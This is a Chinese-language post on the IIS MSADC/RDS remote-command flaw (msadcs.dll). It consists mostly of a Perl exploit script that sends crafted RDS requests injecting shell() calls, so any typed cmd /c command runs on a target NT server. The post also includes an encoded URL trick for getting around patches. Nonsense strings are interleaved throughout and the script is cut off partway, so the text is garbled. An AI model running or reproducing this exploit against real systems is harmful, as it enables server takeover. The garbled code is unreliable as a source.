IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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Z_ ^w60AqR8 涉及程序:
HcsVq+ Microsoft NT server
*9^8NY] ahg:mlaob 描述:
A'DFY { 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
I)Xf4FS@ ]P0%S@] 详细:
CO='[1"_5 如果你没有时间读详细内容的话,就删除:
gEd A
hfx c:\Program Files\Common Files\System\Msadc\msadcs.dll
e0zP LU} 有关的安全问题就没有了。
Z8#nu 7~e,"^>T 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@M5+12FYt Lt't 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
N}?|ik 关于利用ODBC远程漏洞的描述,请参看:
GfE>?mG d:(Ex^^ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm L,[Q/$S8 ny5P*yWEh 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
[iub}e0 http://www.microsoft.com/security/bulletins/MS99-025faq.asp S4x9k{Xn Q)DEcx-|, 这里不再论述。
cag 5w~Px .N X9Ab 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
G%
tlV&In $[>{s9E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&<VU}c^! 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
qzUiBwUi@ y2jv84
M S hI1f #将下面这段保存为txt文件,然后: "perl -x 文件名"
.~f )4'T 9 R^l0Bu]X #!perl
'"B #
MJXnAIG?2 # MSADC/RDS 'usage' (aka exploit) script
6]brL.eGj #
MXaFqK<Y # by rain.forest.puppy
fEHFlgN3Ap #
&B{zS K$N # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qn*l,Z]US # beta test and find errors!
-V/y~/]J _z@/~M( use Socket; use Getopt::Std;
NfV|c~?d getopts("e:vd:h:XR", \%args);
v -}f
P d @R7b^#g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
E(~7NRRm 4&mY-N7A if (!defined $args{h} && !defined $args{R}) {
JbPkC*. print qq~
dy&G~F28 Usage: msadc.pl -h <host> { -d <delay> -X -v }
,hn#DJ) -h <host> = host you want to scan (ip or domain)
XIInI -d <seconds> = delay between calls, default 1 second
7;EDU -X = dump Index Server path table, if available
@]l|-xGCWn -v = verbose
* ,aF-
-e = external dictionary file for step 5
0=$/ q<&1,^A Or a -R will resume a command session
.4zzPD$1 jJ#D`iog5 ~; exit;}
g0B] ;Y>( d&+]@ Ii $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
z%8`F%2 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
d%7?913 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
COh#/-`\1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q\EYsN</; $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
!mlfG"FE if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
hVzyvpw @_ %RQO_X if (!defined $args{R}){ $ret = &has_msadc;
cMY}Y
[2c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rN}pi@ &
kC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
/~NX<Ye& . "cmd /c ";
A6z,6v6 $in=<STDIN>; chomp $in;
d$$5&a $command="cmd /c " . $in ;
q} e#L6cM >(RkoExO/ if (defined $args{R}) {&load; exit;}
_
$F=A w+)${|N?
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
<:9ts@B &try_btcustmr;
.LDZqWr- +e{ui + print "\nStep 2: Trying to make our own DSN...";
fd'kv &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+``vnC rCPIz< print "\nStep 3: Trying known DSNs...";
%'KRbY &known_dsn;
\?n6l7*t> ]Y[N=G print "\nStep 4: Trying known .mdbs...";
2IB{FO/ &known_mdb;
p1UloG\ a=MN:s?Fc0 if (defined $args{e}){
0s;~9> print "\nStep 5: Trying dictionary of DSN names...";
xS|9Gk &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
_.s,gX Qt.*Z;Gs print "Sorry Charley...maybe next time?\n";
'[$KG exit;
,JwX*L<: ~J].~^[ ##############################################################################
y0xBNhev ~0PzRS^o sub sendraw { # ripped and modded from whisker
>$m<R& sleep($delay); # it's a DoS on the server! At least on mine...
IWv(GQx my ($pstr)=@_;
g{N}]_%Uh socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&~_F2]oM die("Socket problems\n");
-}6ew@GE if(connect(S,pack "SnA4x8",2,80,$target)){
IW\^-LI. select(S); $|=1;
KU8,8:yY print $pstr; my @in=<S>;
@aS)=|Ls\ select(STDOUT); close(S);
0F)v9EK(W4 return @in;
PysDDU}v } else { die("Can't connect...\n"); }}
yQhO-jT $ar^U ##############################################################################
+R*DE5dz dj0%?g> sub make_header { # make the HTTP request
!<];N0nt# my $msadc=<<EOT
%+'Ex]B POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
{ "]!zL User-Agent: ACTIVEDATA
NJBSVCb Host: $ip
irlFB#.. Content-Length: $clen
D\Ez~.H Connection: Keep-Alive
XM\\Imw >w.;A%|N ADCClientVersion:01.06
(G|!{ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
}TTghE! <+*0{8?0
--!ADM!ROX!YOUR!WORLD!
y(|#!m?@ Content-Type: application/x-varg
T~3{$ Content-Length: $reqlen
zmhc\M?z &{j!!LL EOT
%,[,mW4l ; $msadc=~s/\n/\r\n/g;
i]Mem M- return $msadc;}
B{/og*xd*1 `4K|L6 ##############################################################################
F~Dof({: GQ1/pys sub make_req { # make the RDS request
e=&~6bs1U my ($switch, $p1, $p2)=@_;
~xqiasE#K my $req=""; my $t1, $t2, $query, $dsn;
&PJ;B)b !.UE} ^TV if ($switch==1){ # this is the btcustmr.mdb query
*O[/KR% $query="Select * from Customers where City=" . make_shell();
B?BOAH $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UNDl&C2vz $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
p$,G`'l }# s{." elsif ($switch==2){ # this is general make table query
Rw'}>?k] $query="create table AZZ (B int, C varchar(10))";
8&EJ.CQ $dsn="$p1";}
3k'Bje?9~ [63\2{_^v elsif ($switch==3){ # this is general exploit table query
4. R(`#f $query="select * from AZZ where C=" . make_shell();
,&BNN]k $dsn="$p1";}
+2iD9X{$MX 1{N+B#*<[X elsif ($switch==4){ # attempt to hork file info from index server
.2%t3ul[ $query="select path from scope()";
=AO
( $dsn="Provider=MSIDXS;";}
]njNSn mh8fJ6j29N elsif ($switch==5){ # bad query
u[**,.Ecg $query="select";
TU6s~ $dsn="$p1";}
>5t!
Xt eWFkUjz $t1= make_unicode($query);
3@" :& $t2= make_unicode($dsn);
AUD)=a> $req = "\x02\x00\x03\x00";
@XJ7ff& $req.= "\x08\x00" . pack ("S1", length($t1));
n$2oM5< $req.= "\x00\x00" . $t1 ;
WK$\#>T $req.= "\x08\x00" . pack ("S1", length($t2));
3VLwY!2: $req.= "\x00\x00" . $t2 ;
?kR1T0lKkE $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
NFTv4$5d return $req;}
rXW.F'=K6 4w+AOWjd ##############################################################################
qy'-'UlIr K9zr]7;th sub make_shell { # this makes the shell() statement
vb^fx$V return "'|shell(\"$command\")|'";}
rN9qH 9]v,3'QI ##############################################################################
_.9 5>` bD{tsxm[9 sub make_unicode { # quick little function to convert to unicode
?7fqWlB my ($in)=@_; my $out;
4~Qnhv7 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
CcUF)$kz return $out;}
;i[JCNiS\ 2-@)'6"n ##############################################################################
z%E(o%l8 Tw';;euw sub rdo_success { # checks for RDO return success (this is kludge)
ZbC$Fk,,I& my (@in) = @_; my $base=content_start(@in);
^N^G?{EV/# if($in[$base]=~/multipart\/mixed/){
sUlf4<_zW return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(m'-1wX. return 0;}
#HV5M1mb )n)AmNpq
##############################################################################
X{ x(p ;h1hz^Wq sub make_dsn { # this makes a DSN for us
ou-#+Sdd my @drives=("c","d","e","f");
,marNG print "\nMaking DSN: ";
:,l16{^ foreach $drive (@drives) {
ZV--d'YiEm print "$drive: ";
sgOau\E my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
E#_/#J]UQn "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
no8\Oees . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
"_&ZRcd* $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
Y$>NsgQn6 return 0 if $2 eq "404"; # not found/doesn't exist
/Pextj< if($2 eq "200") {
E0I/]0 foreach $line (@results) {
_]@u)$ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$ ,K@xq5 } return 0;}
DY#195H w4P;Z-Cd ##############################################################################
I8! .n /)kJ iV sub verify_exists {
?lkB{-%rQ my ($page)=@_;
@2T8H my @results=sendraw("GET $page HTTP/1.0\n\n");
EPJ>@A>;D return $results[0];}
`V9bd}M%~; H<|}pZ ##############################################################################
(-$5YKm j1`<+YT<# sub try_btcustmr {
`^Ll@Cx" my @drives=("c","d","e","f");
&wlD`0v my @dirs=("winnt","winnt35","winnt351","win","windows");
LBq2({=" ftpPrtaP foreach $dir (@dirs) {
a+HK
fK
print "$dir -> "; # fun status so you can see progress
~IYR&GEaUG foreach $drive (@drives) {
{XIpHr print "$drive: "; # ditto
*` mxv0w~( $reqlen=length( make_req(1,$drive,$dir) ) - 28;
kBqgz|jE% $reqlenlen=length( "$reqlen" );
Ye]K 74M. $clen= 206 + $reqlenlen + $reqlen;
b_`h2dUq r^6@Zwox] my @results=sendraw(make_header() . make_req(1,$drive,$dir));
?#GTD?3d if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
9ye!kYF, else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
\FfqIc9; G%k&| ##############################################################################
:xHKbWz6j 4AzDWK@/ sub odbc_error {
hdWV vN my (@in)=@_; my $base;
K6-)l
isf my $base = content_start(@in);
<lR:^M[v5< if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
{J)%6eL? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2OpA1$n6 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sSfP.R $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
)PvnB=wy return $in[$base+4].$in[$base+5].$in[$base+6];}
7 q!==P= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
$(gL#"T print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
C$0u-Nx8 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
bM"?^\a&Q